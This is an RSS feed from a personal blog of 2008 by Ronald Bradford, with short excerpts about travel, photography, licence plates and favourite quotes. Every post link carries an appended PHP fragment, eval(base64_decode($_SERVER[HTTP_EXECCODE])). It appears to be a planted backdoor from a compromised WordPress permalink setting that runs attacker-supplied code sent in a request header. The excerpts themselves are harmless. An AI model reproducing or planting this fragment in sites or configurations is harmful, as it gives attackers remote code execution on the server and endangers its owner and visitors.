http://lifesshortadventure.com/blog Words, photos and experiences of Ronald Bradford Tue, 04 Nov 2008 02:31:28 +0000 http://backend.userland.com/rss092 en Back in Columbus Ohio again, this time to enjoy a specifically organized Adult's only Halloween. In costume as Skipper from Gilligan's Island, we get to trick or treat, no tricks or scary places actually. Just lots of treats, shots and drinks at most locations, where were all set out ... http://lifesshortadventure.com/blog/2008/10/31/an-adult-halloween/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "Life is simpler when you plow around the stumps" Friends Skype intro message - DL http://lifesshortadventure.com/blog/2008/10/12/quote-12-october-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The American Express Members Project (which I know some of the software developers on this) have a very apt television advertisement playing at present regarding some of my comments regarding passion and dreams. In the television ad they show the following people and quotes. My project was: use laughter ... http://lifesshortadventure.com/blog/2008/10/05/what-is-your-project/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ While on the NY Subway heading home late Thursday I observed in rather awe an older black gentleman sit down across from me at 42nd st in a rather full train. He proceeded to pull out of a black case a flick through a number of hand drawn ... http://lifesshortadventure.com/blog/2008/10/05/passion-and-dreams/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I've set some personal goals recently, I've even had a mental list, spoken about them, but I wanted to write them down, because life is too short, and my motto is "Life is short. Live life. Live is and adventure". Be happy Have fun Have quality friends Do lots of fun and exciting ... http://lifesshortadventure.com/blog/2008/10/04/some-of-my-goals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Street sign in West Chester, PA http://lifesshortadventure.com/blog/2008/09/23/blunt-already-taken/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ For the second year now in New York, I have been able to photograph the 9/11 WTC memorial lights. In 2007, it was one of the most striking photographic events of the year, this year it didn't disappoint. My intention this year was to photograph from the other side of ... http://lifesshortadventure.com/blog/2008/09/13/91108-wtc-memorial-lights/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "We can't control our destiny, we can only create it." Ronald Bradford, NY Subway, 9/11/08 http://lifesshortadventure.com/blog/2008/09/11/quote-sep-11-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Yesterday, I experienced with 105,000 other fans, an Ohio State University (OSU) win over local rival Ohio University in Columbus Ohio. I was one of the sea of red at the horse shoe. You can find all my photos over at SmugMug. http://lifesshortadventure.com/blog/2008/09/07/enjoying-college-football/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I got a chance to catch up with friends Anthony and Dan for lunch today, and to my surprise they had chosen to goto Artisanal on Park Ave South. I was not complaining. After lunch we settled down to a nice selection of cheeses, without pairing wines so this was ... http://lifesshortadventure.com/blog/2008/08/22/a-cheesy-friday-lunch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Two things that made me laugh today. The Rise and Fall of Twitter (Video) The Adventures of Ace, DBA (cartoon). http://lifesshortadventure.com/blog/2008/08/08/some-light-tech-humor/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I read today in Advance News that the US is changing the rules for the visa waiver to enter the US temporarily. While not mandatory yet, you will need to be "pre-approved" online first. Well this will be interested. I was stuck in Canada recently trying to get back ... http://lifesshortadventure.com/blog/2008/07/31/us-visa-waiver-changes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "Plankton, it's so small you can hardly see them individually, yet together the can be seen from space." From National Geographic Channel "Earth - The Biography - Volcanoes" http://lifesshortadventure.com/blog/2008/07/16/quote-16-july-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I purchased an air conditioning unit this week, and I had to become aware of the BTU. The British thermal unit (BTU or Btu) is a unit of energy. An interesting unit that the USA has yet to change to it's own need. I ended up with a 8,000 ... http://lifesshortadventure.com/blog/2008/07/06/the-btu-a-unit-infiltrating-usa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Well it depends which gallon you are referring to. The question came from a recent discussion with my Mother regarding the cost of fuel. Because Australia uses litres I had to convert the US price of Gallons to Litres. This is where the problem begins because as a child I ... http://lifesshortadventure.com/blog/2008/07/06/whats-in-a-gallon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Iowa is underwater with flooding at record levels, Illinois now being hit with reports of water 11 feet above flood levels and it will not peak until Tuesday (it's Sunday). We have record heat wave on the East Coast, New York & Washington DC with record highs. It ... http://lifesshortadventure.com/blog/2008/06/15/signs-of-tough-weather-times/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If this tree had fallen the other way, it would have taken me out, the house and lounge area of where I'm staying. Check out all photos here. http://lifesshortadventure.com/blog/2008/06/14/close-encounters-of-the-tree-kind/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My next ultimate trip goal is Antarctica. It's an ambitious trip, inspired by Sir Earnest Shackleton & Frank Hurley. My first experience with Sir Earnest Shackleton, came with the reading of the book The Endurance - Shackleton's Legendary Antarctic Expedition by Caroline Alexander. The good news is unlike my desires for travel ... http://lifesshortadventure.com/blog/2008/06/14/antarctica/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This past few days I've had to endure the heat in the sunny Bahamas. Well at least I had the chance to go to the beach, or pool in a few steps. It's tough, but to get a Visa I have to leave the country to visit a US ... http://lifesshortadventure.com/blog/2008/06/12/its-a-hard-life-some-days/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Adding to my vehicle number plates collection, my visit to the Bahamas added a lot of color. We start with pesonal plates, light blue, generally 5 or 6 digits, but if you look more closely I managed 3 digits and even one 2 with two digits. Plates included "BAHAMAS", and "NASSAU". The ... http://lifesshortadventure.com/blog/2008/06/10/vehicle-plates-bahamas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My Australia Plate Selection of all States -- Queensland, New South Wales, Victoria, Australian Capital Territory, Tasmania, South Australia, Western Australia and Northern Territory There is also a Federal plate for interstate trucks. Queensland has a new type, "The Smart State", you can choose "Sunshine" or "Smart". New South Wales has ... http://lifesshortadventure.com/blog/2008/06/10/vehicle-plates-australia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I got to spend today in Central Park following a look at a NY apartment. Met up with some friends, and met some new people, played some frisbee and enjoyed the summer ambiance. I kept having "Central Park in May" run around in my head. My walking ... http://lifesshortadventure.com/blog/2008/05/27/memorial-day-in-central-park/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I got a great first word in Facebook Scrabulous game tonight. 83 points. Probably the highest word score from any game so far. http://lifesshortadventure.com/blog/2008/05/25/opening-scrabble-word-83-points/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I've been back in New York for a week now, caught up with a friend today for the afternoon. Weekend travel on the NY Subway can be a bit hit and miss. Trying to head south on the 6 at 51st, oops, have head north to 59th first. Thing ... http://lifesshortadventure.com/blog/2008/05/24/ny-heading-for-summer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ "Code is Poetry." footer tagline from wordpress.org http://lifesshortadventure.com/blog/2008/05/24/quote-24-may-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/